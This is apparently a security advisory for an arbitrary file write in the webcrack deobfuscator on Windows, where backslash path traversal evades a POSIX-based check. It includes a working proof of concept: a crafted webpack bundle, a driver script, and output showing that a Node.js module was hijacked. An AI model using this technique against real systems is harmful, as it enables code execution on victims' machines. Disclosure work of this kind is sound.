Summary

An arbitrary file write vulnerability exists in the webcrack module when processing specifically crafted malicious code on Windows systems. This vulnerability is triggered when using the unpack bundles feature in conjunction with the saving feature. If a module name includes a path traversal sequence with Windows path separators, an attacker can exploit this to overwrite files on the host system.

Details

Source: packages/webcrack/src/unpack/bundle.ts#L79

import { posix } from 'node:path';
import type { Module } from './module';

// eslint-disable-next-line @typescript-eslint/unbound-method
const { dirname, join, normalize } = posix;

/* ... snip ... */

const modulePath = normalize(join(path, module.path));
if (!modulePath.startsWith(path)) {
    throw new Error(`detected path traversal: ${module.path}`);
}
await mkdir(dirname(modulePath), {
    recursive: true
});
await writeFile(modulePath, module.code, 'utf8');

In this code, the application explicitly relies on the POSIX version of path utilities (dirname, join, normalize) from Node.js. However, the vulnerability arises because the POSIX version of the normalize function does not recognize \ as a path separator. As a result, on Windows systems, the path traversal check fails, allowing an attacker to write files to unintended locations.

PoC

The following proof of concept demonstrates how this vulnerability can be exploited to overwrite and hijack the debug module in Node.js:

Malicious Script (what.js):

(function (e) {
    var n = {};
    function o(r) {
      if (n[r]) {
        return n[r].exports;
      }
      var a = (n[r] = {
        i: r,
        l: false,
        exports: {},
      });
      e[r].call(a.exports, a, a.exports, o);
      a.l = true;
      return a.exports;
    }
    o.p = '';
    o((o.s = 386));
  })({
    './\\..\\node_modules\\debug\\src\\index': function (e, t, n) {
        module.exports = () => console.log("pwned")
    },
  });

Webcrack Script (index.js):

import fs from 'fs';
import { webcrack } from 'webcrack';

const input = fs.readFileSync('what.js', 'utf8');

const result = await webcrack(input);
console.log(result.code);
console.log(result.bundle);
await result.save('output-dir');

Execution:
Running the above script with node index.js twice results in the following output being printed to the terminal:

PS C:\Webcrack> node .\index.js
Debugger attached.
(function (e) {
  var n = {};
  function o(r) {
    if (n[r]) {
      return n[r].exports;
    }
    var a = n[r] = {
      i: r,
      l: false,
      exports: {}
    };
    e[r].call(a.exports, a, a.exports, o);
    a.l = true;
    return a.exports;
  }
  o.p = "";
  o(o.s = 386);
})({
  "./\\..\\node_modules\\debug\\src\\index": function (e, t, n) {
    module.exports = () => console.log("pwned");
  }
});
WebpackBundle {
  type: 'webpack',
  entryId: '386',
  modules: Map(1) {
    './\\..\\node_modules\\debug\\src\\index' => WebpackModule {
      id: './\\..\\node_modules\\debug\\src\\index',
      isEntry: false,
      path: '././\\..\\node_modules\\debug\\src\\index.js',
      ast: [Object]
    }
  }
}
Waiting for the debugger to disconnect...
PS C:\Webcrack> node .\index.js
Debugger attached.
pwned
pwned
pwned
pwned
pwned
pwned
pwned
Waiting for the debugger to disconnect...
file:///C:/Webcrack/node_modules/webcrack/dist/index.js:444
  if (options.log) logger(`${name}: started`);
                   ^

TypeError: logger is not a function
    at applyTransforms (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:444:20)
    at Array.<anonymous> (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:4259:7)
    at webcrack (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:4292:20)
    at async file:///C:/Webcrack/index.js:6:16

Node.js v18.16.0

This demonstrates that the debug module was successfully overwritten and hijacked to print pwned to the console, confirming the arbitrary file write vulnerability has lead to code execution.

Impact

This vulnerability allows an attacker to write arbitrary .js files to the host system, which can be leveraged to hijack legitimate Node.js modules to gain arbitrary code execution.